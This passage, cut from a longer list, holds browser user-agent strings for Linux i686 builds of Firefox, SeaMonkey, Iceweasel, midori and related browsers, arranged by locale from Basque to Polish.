eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; fi; rv:1.8.1.3) Gecko/20070403 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.5) Gecko/20031007 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.3) Gecko/20040913 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; fr-ca) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori/1.19 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.2) Gecko/20040804 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.13) Gecko/20080311 Iceweasel/2.0.0.13 (Debian-2.0.0.13-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.16) Gecko/20080702 Iceweasel/2.0.0.16 (Debian-2.0.0.16-0etch1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.16) Gecko/20080716 SeaMonkey/1.1.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052909 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052912 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052912 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.13) Gecko/2009082121 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.19) Gecko/2010102906 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.19) Gecko/2011092908 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.6) Gecko/2009020409 Firefox/3.0.1 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.17pre) Gecko/20110322 Ubuntu/10.10 (maverick) Namoroka/3.6.17pre Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.17pre) Gecko/20110413 Ubuntu/10.04 (lucid) Namoroka/3.6.17pre Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (X11; U; Linux i686; he-IL; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.1 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.3.1) Gecko Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; hu-hu) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.7.3) Gecko/20050130 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.7.3) Gecko/20050130 Galeon/1.3.19 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+ Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; it-it) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.2 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-0etch1) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-1) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.1) Gecko/2008071618 Iceweasel/3.0.1 (Debian-3.0.1-1) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.19) Gecko/2010120923 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.6) Gecko/2009020409 Iceweasel 3.0.6 (Debian 5.0 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.13) Gecko/20110109 Iceweasel/3.6.13 (like Firefox/3.6.13) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; ja-jp) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1.6) Gecko/20091216 Shiretoko/3.5.6 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.1.10) Gecko/20100623 Fedora/2.0.5-1.fc12 Fedora SeaMonkey/2.0.3 Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.1.16) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (X11; U; Linux i686; nl-nl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; pl-PL) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy fake Windows) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 